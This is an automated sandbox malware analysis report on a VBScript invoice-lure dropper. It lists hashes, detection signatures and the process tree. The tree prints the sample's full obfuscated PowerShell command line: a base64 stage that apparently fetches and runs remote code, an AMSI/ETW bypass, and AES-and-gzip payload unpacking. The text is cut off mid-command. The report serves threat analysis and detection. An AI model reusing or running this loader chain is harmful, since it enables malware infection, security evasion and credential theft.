Edit tour
Windows
Analysis Report
Commercial Invoice Confirmation-1132346.vbs
Overview
General Information
| Sample name: | Commercial Invoice Confirmation-1132346.vbs |
| Analysis ID: | 1617742 |
| MD5: | f268af24198f756977b03b521f23e96c |
| SHA1: | b5ae78ce8541943b14f48c5003d0c2e306bfae96 |
| SHA256: | ac3080be59227ea4650f78500acb8b8de9d2e51089b5d39475ba9b368731b8a6 |
| Tags: | vbsuser-abuse_ch |
| Infos: |  |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Confidence: | 100% |
Signatures
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
VBScript performs obfuscated calls to suspicious functions
Found suspicious powershell code related to unpacking or dynamic code loading
Joe Sandbox ML detected suspicious sample
Sample has a suspicious name (potential lure to open the executable)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Gzip Archive Decode Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Classification
- System is w10x64
wscript.exe (PID: 7840 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Comme rcial Invo ice Confir mation-113 2346.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
cmd.exe (PID: 7924 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Local \Temp\3h6Q L1gQ.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7932 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7984 cmdline:
C:\Windows \system32\ cmd.exe /K "C:\Users \user\AppD ata\Local\ Temp\3h6QL 1gQ.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7992 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 8036 cmdline:
C:\Windows \system32\ cmd.exe /S /D /c" ec ho $host.U I.RawUI.Wi ndowTitle= 'C:\Users\ user\AppDa ta\Local\T emp\3h6QL1 gQ.bat';$P OIJOGD='Re adLEKOXCUL ineEKOXCUL sEKOXCUL'. Replace('E KOXCUL', ' '),'ETZYUB RBleTZYUBR BmenTZYUBR BtTZYUBRBA tTZYUBRB'. Replace('T ZYUBRB', ' ');powersh ell -w hid den;iex (( $([Text.En coding]::U TF8.GetStr ing([Conve rt]::FromB ase64Strin g('U1RSSU5 HUkFORE9Na VNUUklOR1J BTkRPTWVTV FJJTkdSQU5 ET014ICgoa VNUUklOR1J BTkRPTXdTV FJJTkdSQU5 ET01yU1RSS U5HUkFORE9 NIC1TVFJJT kdSQU5ET01 VU1RSSU5HU kFORE9Nc1N UUklOR1JBT kRPTWVTVFJ JTkdSQU5ET 01CU1RSSU5 HUkFORE9NY VNUUklOR1J BTkRPTXNTV FJJTkdSQU5 ET01pU1RSS U5HUkFORE9 NY1NUUklOR 1JBTkRPTVB TVFJJTkdSQ U5ET01hU1R SSU5HUkFOR E9NclNUUkl OR1JBTkRPT XNTVFJJTkd SQU5ET01pU 1RSSU5HUkF ORE9NblNUU klOR1JBTkR PTWdTVFJJT kdSQU5ET00 gIlNUUklOR 1JBTkRPTWh TVFJJTkdSQ U5ET010dHB zU1RSSU5HU kFORE9NOlN UUklOR1JBT kRPTS9TVFJ JTkdSQU5ET 00vU1RSSU5 HUkFORE9NM FNUUklOR1J BTkRPTXhTV FJJTkdSQU5 ET00wU1RSS U5HUkFORE9 NLlNUUklOR 1JBTkRPTXN TVFJJTkdSQ U5ET010U1R SSU5HUkFOR E9NL1NUUkl OR1JBTkRPT ThTVFJJTkd SQU5ET01aU 1RSSU5HUkF ORE9NRFNUU klOR1JBTkR PTWFTVFJJT kdSQU5ET00 uU1RSSU5HU kFORE9NdFN UUklOR1JBT kRPTXhTVFJ JTkdSQU5ET 010U1RSSU5 HUkFORE9NI ikuQ29udGV udC5SZXBsY WNlKCdBQkM nLCcnKSkgL UVycm9yQWN 0aW9uIFNpb GVudGx5Q29 udGludWU7' )))) -repl ace 'STRIN GRANDOM', '');try{ie x ((iex (( 'Invoke-Sy stemAmsiBy pass -Disa bleETW;'). Replace('T TTTT','')) ).Content) -ErrorAct ion Stop}c atch{"This system ha s a modifi ed AMSI"}; function S JDOX($para m_var){$ae s_var=[Sys tem.Securi ty.Cryptog raphy.Aes] ::Create() ;$aes_var. Mode=[Syst em.Securit y.Cryptogr aphy.Ciphe rMode]::CB C;$aes_var .Padding=[ System.Sec urity.Cryp tography.P addingMode ]::PKCS7;$ aes_var.Ke y=[System. Convert]:: FromBase64 String('Wr Top3Dy2uR/ 7q23aw8qRR YFs5pR6KKW 0qPOi2nk/S M=');$aes_ var.IV=[Sy stem.Conve rt]::FromB ase64Strin g('X0OAAhU hQtx3irmnK HjIpQ=='); $CPBHM=$ae s_var.Crea teDecrypto r();$DWTPO =$CPBHM.Tr ansformFin alBlock($p aram_var,0 ,$param_va r.Length); $CPBHM.Dis pose();$ae s_var.Disp ose();$DWT PO;}functi on decompr ess_functi on($param_ var){$MLDO J=New-Obje ct System. IO.MemoryS tream(,$pa ram_var);$ ILPTT=New- Object Sys tem.IO.Mem oryStream; $ATXCE=New -Object Sy stem.IO.Co mpression. GZipStream ($MLDOJ,[I O.Compress ion.Compre ssionMode] ::Decompre ss);$ATXCE .CopyTo($I LPTT);$ATX CE.Dispose ();$MLDOJ. Dispose(); $ILPTT.Dis pose();$IL PTT.ToArra y();}$line _var=[Syst em.IO.File ]::($POIJO GD[0])([Co nsole]::Ti tle);$payl oad2_var=d ecompress_ function ( SJDOX ([Co nvert]::Fr omBase64St ring([Syst em.Linq.En umerable]: :($POIJOGD [1])($line _var, 6).S ubstring(2 ))));[Syst em.Reflect ion.Assemb